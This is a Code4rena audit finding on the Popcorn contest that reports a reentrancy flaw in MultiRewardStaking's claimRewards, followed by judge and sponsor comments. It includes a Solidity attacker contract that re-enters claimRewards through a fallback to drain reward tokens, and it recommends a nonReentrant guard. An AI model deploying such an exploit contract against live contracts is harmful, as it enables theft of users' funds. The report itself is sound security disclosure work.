Platform: Code4rena
Start Date: 31/01/2023
Pot Size: $90,500 USDC
Total HM: 47
Participants: 169
Period: 7 days
Judge: LSDan
Total Solo HM: 9
Id: 211
League: ETH
Rank: 166/169
Findings: 1
Award: $4.61
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xdeadbeef0x
Also found by: 0Kage, 0xNazgul, 0xRobocop, Aymen0909, KIntern_NA, Kenshin, KingNFT, Krace, Kumpa, SadBase, aashar, apvlki, btk, cccz, critical-or-high, eccentricexit, fs0c, gjaldon, hansfriese, immeas, mert_eren, mgf15, mrpathfindr, orion, peanuts, rvi0x, rvierdiiev, supernova, ulqiorra, waldenyan20, y1cunhui
4.6115 USDC - $4.61
https://github.com/code-423n4/2023-01-popcorn//blob/main/src/vault/PermissionRegistry.sol#L55
Successful attack may allows the attacker to drain the MultiRewardStaking contract
the claimRewards function on MultiRewardStaking contract is the one responsible for transfering the rewards to the msg.sender, the function accepts an array of rewardToken it checks them, and then it processes the rewards, eventually it sets the rewards to be claimed for the user to 0 :
function claimRewards(address user, IERC20[] memory _rewardTokens) external accrueRewards(msg.sender, user) { for (uint8 i; i < _rewardTokens.length; i++) { ... } else { _rewardTokens[i].transfer(user, rewardAmount); ... accruedRewards[user][_rewardTokens[i]] = 0; } }
The function sets the accruedRewards[user][_rewardTokens[i]] to 0 after the transfer is done, if the owners add (addRewardToken) a token that hooks a call to the receiver (as such ERC777) the attacker can drain that contract, consider the following scenario :
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.15; contract test { address ow; MultiRewardStaking public vuln; address[] public vrtoken; bool istt; function initiate(MultiRewardStaking _vuln,address[] memory vrtokens,uint256 amount) external { if(!istt) { vrtoken = vrtokens; vuln = _vuln; ow = msg.sender; istt = true; } for (uint8 i; i < vrtokens.length; i++) { IERC20(vrtokens[i]).transferFrom(msg.sender, address(this), amount); // require(a,"gain approval, or you don't have funds"); } vuln.fundReward(vrtoken, amount - 1); // require(b,"gain approval, or you don't have funds"); } function attack() public { vuln.claimRewards(tx.origin, vrtoken); } fallback() payable public { attack(); } function kill() external payable { selfdestruct(payable(ow)); } }
Manual review
Add nonReentrancy guard on the function
#0 - dmvt
2023-02-08T21:10:15Z
#1 - c4-judge
2023-02-16T07:36:22Z
dmvt marked the issue as primary issue
#2 - c4-sponsor
2023-02-17T10:13:53Z
RedVeil marked the issue as sponsor confirmed
#3 - c4-judge
2023-02-23T00:20:12Z
dmvt marked the issue as satisfactory
#4 - c4-judge
2023-02-23T01:08:47Z
dmvt changed the severity to 3 (High Risk)
#5 - c4-judge
2023-02-23T01:21:39Z
dmvt marked issue #402 as primary and marked this issue as a duplicate of 402